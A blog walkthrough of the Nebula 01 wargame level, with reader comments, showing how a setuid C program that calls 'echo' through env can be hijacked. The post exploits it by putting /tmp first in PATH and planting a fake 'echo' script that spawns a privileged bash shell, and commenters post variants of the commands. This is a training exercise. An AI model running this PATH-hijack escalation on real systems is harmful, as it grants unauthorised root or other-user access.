Continuing from my previous post, I started tinkering with the next Nebula wargame: Nebula 01. This one gives you some C code, which has a bug in it. You have to exploit that bug.
#include <stdlib.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
If you read through the code, you may notice that it's calling "echo" with some text appended, to echo it to the screen. How it's being called, it is loading the path to "echo" from the environment settings. It'll read what's in the path. To exploit this, all we have to do is modify the path.
level01@nebula:/home/flag01$ PATH=/tmp:$PATH level01@nebula:/home/flag01$ export PATH level01@nebula:/home/flag01$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
Now, if "echo" is called, it'll look in /tmp first. So let's start tinkering. My first thought was to just make a symbolic link to /bin/bash, to get me a shell.
level01@nebula:/home/flag01$ ln -s /bin/bash /tmp/echo level01@nebula:/home/flag01$ ./flag01 echo: and: No such file or directory
However, that didn't work, because it was essentially calling bash with the parameters of "and now what?". To get around that, I figured I'd wrap it in a bash script, which just ignored any parameters. I deleted the /tmp/echo file I created, and tried over.
level01@nebula:/home/flag01$ rm /tmp/echo level01@nebula:/home/flag01$ ln -s /bin/bash /tmp/echo2 level01@nebula:/home/flag01$ echo -e '#!/bin/bash\n/tmp/echo2' > /tmp/echo;chmod +x /tmp/echo level01@nebula:/home/flag01$ ./flag01 flag01@nebula:/home/flag01$ getflag You have successfully executed getflag on a target account
This time it was successful, so I again, ran "getflag". Now I have another level complete.
Very nice, i'm just a little confused as to why you named the file echo2 in the /tmp directory and why this works exactly.
ReplyDeleteIt could have been named anything. Essentially the filename "echo" was already in use with the script that called /bin/bash, symbolically linked as "echo2" in the /tmp folder.
ReplyDeleteThis works, because the program calls the "echo" program, from the current environmental variables. Since /tmp is in my path, it calls the "echo" that I created. That "echo" in turns calls "bash" for me.
Why does the wrapper could ignore parameters?
ReplyDeleteThanks!
I'm not sure I understand what you mean. Could you elaborate?
DeleteYou said "To get around that, I figured I'd wrap it in a bash script, which just ignored any parameters."
DeleteCould you explain why does this approach could ignore parameters??
Thanks!
I'm no shell scripting expert, but I can explain this one:
DeleteBash scripts can access command line parameters (or arguments) by using the variables $1, $2, $3, etc.
Matt's script ignores any command line arguments and just runs /bin/bash (if the script said "/bin/bash $1 $2 $3" instead of "/bin/bash" it would have passed the arguments through to bash and hit the same problem as it did without the script)
I ended up going along the route of:
ReplyDeleteln -s /bin/getflag /tmp/echo;export PATH=/tmp:$PATH;/home/flag01/flag01
This was successful, but after reading your post, I can see that shell is obviously better so will try that now
Why did you create a symbolic link to /bin/bash called echo2 then call that from your script rather than just calling /bin/bash from your script?
ReplyDeleteI just called /bin/bash from my script and got the elevated shell just fine. I basically removed line 2 and changed line 3 to:
$ echo -e '#!/bin/bash\n/bin/bash' > /tmp/echo;chmod +x /tmp/echo
I don't honestly remember why I did it that way. It may have been me just playing around to see what worked and what didn't. My solutions are by far the most elegant or only solutions. This was more just a log of my methodology.
DeleteGrats on it working without needing an 'echo2' file.